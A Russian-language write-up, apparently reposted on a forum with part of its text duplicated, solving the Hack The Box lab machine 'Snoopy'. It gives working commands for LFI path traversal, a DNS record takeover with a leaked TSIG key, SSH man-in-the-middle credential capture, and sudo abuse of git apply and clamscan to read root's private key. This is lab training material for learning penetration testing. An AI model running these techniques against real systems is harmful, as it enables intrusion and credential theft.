stihl не предоставил(а) никакой дополнительной информации.
В этом райтапе мы проведем MITM-атаку на службу SSH, чтобы заполучить логин и пароль пользователя. Но сначала попентестим веб‑сервер, найдем уязвимость LFI и, проникнув в систему, повысим привилегии через антивирус ClamAV.
Упражняться будем на тренировочной машине Snoopy с площадки Для просмотра ссылки Войдиили Зарегистрируйся. Ее уровень — сложный.
И запускаем сканирование портов.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Сканер нашел три открытых порта:
Результат выполнения команды dig
Новых записей DNS обнаружить не удалось, поэтому смело переходим к веб‑серверу, а точнее — к сайту, который на нем расположен.
Главная страница сайта
Находим упоминание нескольких пользователей, которые потенциально могут иметь учетную запись как на самом сайте, так и на сервере.
Имена пользователей на сайте
Также натыкаемся на сообщение о том, что почтовый сервис mail.snoopy.htb в данный момент недоступен.
Содержимое страницы contact.html
или Зарегистрируйся и Для просмотра ссылки Войди или Зарегистрируйся.
Я предпочитаю легкий и очень быстрый Для просмотра ссылки Войдиили Зарегистрируйся. При запуске указываем следующие параметры:
Команда получается следующая:
Результат сканирования поддоменов
В вывод утилиты попадают абсолютно все слова из словаря, поэтому следует дополнительно указать фильтр по размеру страницы (параметр -fs).
Результат сканирования поддоменов
Добавляем найденный поддомен в файл /etc/hosts и смотрим страницу.
Главная страница mm.snoopy.htb
Нас встречает сервис Mattermost. Тут ничего не сделать, поэтому возвращаемся к первому сайту. Продолжив поиски, обнаруживаем файл, который мы можем скачать.
Скачанный файл в Burp Proxy
Burp сразу подсвечивает места, которые могут быть уязвимы для LFI, поэтому тщательно проверим этот запрос. Закидываем его в Burp Intruder и прогоняем по списку с разными вариантами подстановки.
Burp Intruder — вкладка Positions
Burp Intruder — результат перебора
Мы находим такой путь к файлу, который возвращает тот же ответ, что остальные варианты. Повторяем запрос через curl и пробуем скачать файл /etc/passwd.
Получение файла /etc/passwd
Получаем файл, а значит, уязвимость есть.
Читаем файл /etc/bind/named.conf.
Содержимое файла named.conf
Получаем алгоритм, имя ключа и секрет. Теперь подключаемся к службе NS и добавляем запись.
Конфигурация NS-сервера
Запускаем легкий SMTP-сервер на Python 3 и в качестве адреса для восстановления пароля указываем пользователя cbrown из файла /etc/passwd.
Восстановление пароля
Входящее сообщение
Во входящем сообщении, как и предполагали, видим ссылку на восстановление пароля. Тут у меня не получилось восстановить пароль по ссылке — сервис выдал ошибку токена. Так продолжалось, пока я не исправил =3D на =...
Страница сброса пароля
Каналы Mattermost
Среди сообщений ничего интересного не находим, поэтому просмотрим зарегистрированные команды, введя /.
Зарегистрированные команды
По команде /server_provision открывается форма, где нужно указать адрес сервера. По возможным вариантам в боксе «Operating System» догадываемся, что это данные для подключения к SSH (так как подключение осуществляется к порту 2222).
Форма запроса server_provision
или Зарегистрируйся, чтобы провести MITM-атаку на SSH и получить учетные данные пользователя.
Запуск сервера SSH-MITM
Теперь указываем в форме данные для подключения по нашему адресу. Почти сразу после отправки запроса в логах SSH-MITM получаем учетные данные пользователя.
Форма запроса server_provision
Логи SSH-MITM
Теперь сами подключаемся к удаленному серверу с полученными учетными данными и забираем первый флаг.
Флаг пользователя
или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
В отчете LinPEAS видим, что настройки sudoers доступны только при вводе пароля.
Для просмотра ссылки Войдиили Зарегистрируйся
Также узнаём, что на сервере присутствует библиотека, необходимая для выполнения команд Bash из MySQL.
Данные о MySQL
Заново запросим настройки sudoers и в этот раз введем пароль пользователя.
Настройки sudoers
Пользователь cbrown может выполнить команду /usr/bin/git apply * в контексте пользователя sbrown. Эта команда применяет к файлам исправления, то есть таким способом мы можем производить запись в любой файл пользователя sbrown. Попробуем сгенерировать и записать публичный ключ SSH.
Создание пары ключей SSH
А теперь немного подправим пути в diff-файле, чтобы они соответствовали каталогам пользователя sbrown, и выполним git apply.
Изменения в файле git.diff
Когда изменения применены, можем подключиться по SSH от имени целевого пользователя.
ssh -i cbrown/.ssh/id_rsa sbrown@127.0.0.1
Флаг пользователя
Настройки sudoers
Таким образом узнаём, что мы можем без ввода пароля выполнить команду /usr/local/bin/clamscan в привилегированном контексте. Clamscan — это консольная программа для управления антивирусом ClamAV. Немного погуглив, можно выйти на Для просмотра ссылки Войдиили Зарегистрируйся, где показан способ чтения файла с помощью Clamscan.
Я попытался прочитать закрытый ключ SSH пользователя root вот такой командой:
Но в итоге ничего не получил.
Изучив подробности, я попробовал выставить параметр -f, при помощи которого задается список файлов для сканирования. Дело в том, что каждая строка из переданного файла будет воспринята антивирусом как путь для сканирования, но, поскольку такого пути не существует, мы получим сообщение об ошибке, а в нем — строку из файла. Таким способом эксфильтруем весь файл.
Результат использования Clamscan
Теперь собираем приватный ключ и подключаемся от имени рута.
Флаг рута
Машина захвачена!
Упражняться будем на тренировочной машине Snoopy с площадки Для просмотра ссылки Войди
warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.Разведка
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:10.10.11.212 snoopy.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Сканер нашел три открытых порта:
- 22 — служба OpenSSH 8.9p1;
- 53 — служба BIND DNS;
- 80 — веб‑сервер Nginx 1.18.0.
dig @snoopy.htb

Новых записей DNS обнаружить не удалось, поэтому смело переходим к веб‑серверу, а точнее — к сайту, который на нем расположен.

Находим упоминание нескольких пользователей, которые потенциально могут иметь учетную запись как на самом сайте, так и на сервере.

Также натыкаемся на сообщение о том, что почтовый сервис mail.snoopy.htb в данный момент недоступен.

Точка входа
Попробуем просканировать поддомены в поисках скрытых страниц и форм для авторизации.Справка: сканирование веба c ffuf
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде Для просмотра ссылки ВойдиЯ предпочитаю легкий и очень быстрый Для просмотра ссылки Войди
- -w — словарь (я использую словари из набора Для просмотра ссылки Войди
или Зарегистрируйся); - -t — количество потоков;
- -u — URL;
- -H — заголовок HTTP.
Команда получается следующая:
ffuf -u [URL]http://snoopy.htb/[/URL] -w subdomains-top1million-110000.txt -t 256 -H 'Host: FUZZ.snoopy.htb'

В вывод утилиты попадают абсолютно все слова из словаря, поэтому следует дополнительно указать фильтр по размеру страницы (параметр -fs).
ffuf -u [URL]http://snoopy.htb/[/URL] -w subdomains-top1million-110000.txt -t 256 -H 'Host: FUZZ.snoopy.htb' -fs 0,23418

Добавляем найденный поддомен в файл /etc/hosts и смотрим страницу.
10.10.11.212 snoopy.htb mm.snoopy.htb

Нас встречает сервис Mattermost. Тут ничего не сделать, поэтому возвращаемся к первому сайту. Продолжив поиски, обнаруживаем файл, который мы можем скачать.

Burp сразу подсвечивает места, которые могут быть уязвимы для LFI, поэтому тщательно проверим этот запрос. Закидываем его в Burp Intruder и прогоняем по списку с разными вариантами подстановки.


Мы находим такой путь к файлу, который возвращает тот же ответ, что остальные варианты. Повторяем запрос через curl и пробуем скачать файл /etc/passwd.
Код:
curl 'http://snoopy.htb/download?file=....//....//....//....//....//....//....//....//etc/passwd' -o f.zip
unzip f.zip
cat press_package/etc/passwd

Получаем файл, а значит, уязвимость есть.
Точка опоры
NS update
Первым делом я подумал, что благодаря LFI мы можем получить важные данные для подключения к службе BIND DNS. Далее для неработающего домена создадим NS-запись, указывающую на наш сервер. Затем развернем службу SMTP и попробуем восстановить пароль от Mattermost, чтобы он пришел на почту. Это заставит удаленный сервер прислать ссылку для восстановления пароля на наш сервер.Читаем файл /etc/bind/named.conf.

Получаем алгоритм, имя ключа и секрет. Теперь подключаемся к службе NS и добавляем запись.
Код:
nsupdate -d -y hmac-sha256:rndc-key:BEqUtce80uhu3TOEGJJaMlSx9WT2pkdeCtzBeDykQQA=
server snoopy.htb
update add mail.snoopy.htb. 86400 IN A 10.10.14.53
send

Запускаем легкий SMTP-сервер на Python 3 и в качестве адреса для восстановления пароля указываем пользователя cbrown из файла /etc/passwd.
python3 -m smtpd -n -c DebuggingServer 10.10.14.53:25


Во входящем сообщении, как и предполагали, видим ссылку на восстановление пароля. Тут у меня не получилось восстановить пароль по ссылке — сервис выдал ошибку токена. Так продолжалось, пока я не исправил =3D на =...


Среди сообщений ничего интересного не находим, поэтому просмотрим зарегистрированные команды, введя /.

По команде /server_provision открывается форма, где нужно указать адрес сервера. По возможным вариантам в боксе «Operating System» догадываемся, что это данные для подключения к SSH (так как подключение осуществляется к порту 2222).

SSH-MITM
Видимо, бот подключится к SSH на указанный сервер, поэтому мы можем воспользоваться инструментом Для просмотра ссылки Войди
Код:
pip3 install ssh-mitm
python3 -m sshmitm server --enable-trivial-auth --remote-host 10.10.11.212 --listen-port 2222

Теперь указываем в форме данные для подключения по нашему адресу. Почти сразу после отправки запроса в логах SSH-MITM получаем учетные данные пользователя.


Теперь сами подключаемся к удаленному серверу с полученными учетными данными и забираем первый флаг.

Продвижение
Теперь нам необходимо собрать информацию. Я буду использовать для этого скрипты PEASS.Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки ВойдиВ отчете LinPEAS видим, что настройки sudoers доступны только при вводе пароля.
Для просмотра ссылки Войди
Также узнаём, что на сервере присутствует библиотека, необходимая для выполнения команд Bash из MySQL.

Заново запросим настройки sudoers и в этот раз введем пароль пользователя.

Пользователь cbrown может выполнить команду /usr/bin/git apply * в контексте пользователя sbrown. Эта команда применяет к файлам исправления, то есть таким способом мы можем производить запись в любой файл пользователя sbrown. Попробуем сгенерировать и записать публичный ключ SSH.
ssh-keygen

Код:
cd ..
cat cbrown/.ssh/id_rsa.pub > cbrown/.ssh/authorized_keys
git diff cbrown/.bash_history cbrown/.ssh/authorized_keys > /tmp/git.diff
А теперь немного подправим пути в diff-файле, чтобы они соответствовали каталогам пользователя sbrown, и выполним git apply.

sudo -u sbrown /usr/bin/git apply /tmp/git.diff
Когда изменения применены, можем подключиться по SSH от имени целевого пользователя.
ssh -i cbrown/.ssh/id_rsa sbrown@127.0.0.1

Локальное повышение привилегий
Разведку уже проводили, а со сменой контекста обычно мало что меняется, поэтому проверяем настройки sudoers.
Таким образом узнаём, что мы можем без ввода пароля выполнить команду /usr/local/bin/clamscan в привилегированном контексте. Clamscan — это консольная программа для управления антивирусом ClamAV. Немного погуглив, можно выйти на Для просмотра ссылки Войди
Я попытался прочитать закрытый ключ SSH пользователя root вот такой командой:
sudo /usr/bin/clamscan /root/.ssh/id_rsa --copy=/tmp/results
Но в итоге ничего не получил.
Изучив подробности, я попробовал выставить параметр -f, при помощи которого задается список файлов для сканирования. Дело в том, что каждая строка из переданного файла будет воспринята антивирусом как путь для сканирования, но, поскольку такого пути не существует, мы получим сообщение об ошибке, а в нем — строку из файла. Таким способом эксфильтруем весь файл.
sudo /usr/local/bin/clamscan -f /root/.ssh/id_rsa --copy=/dev/shm/

Теперь собираем приватный ключ и подключаемся от имени рута.

Машина захвачена!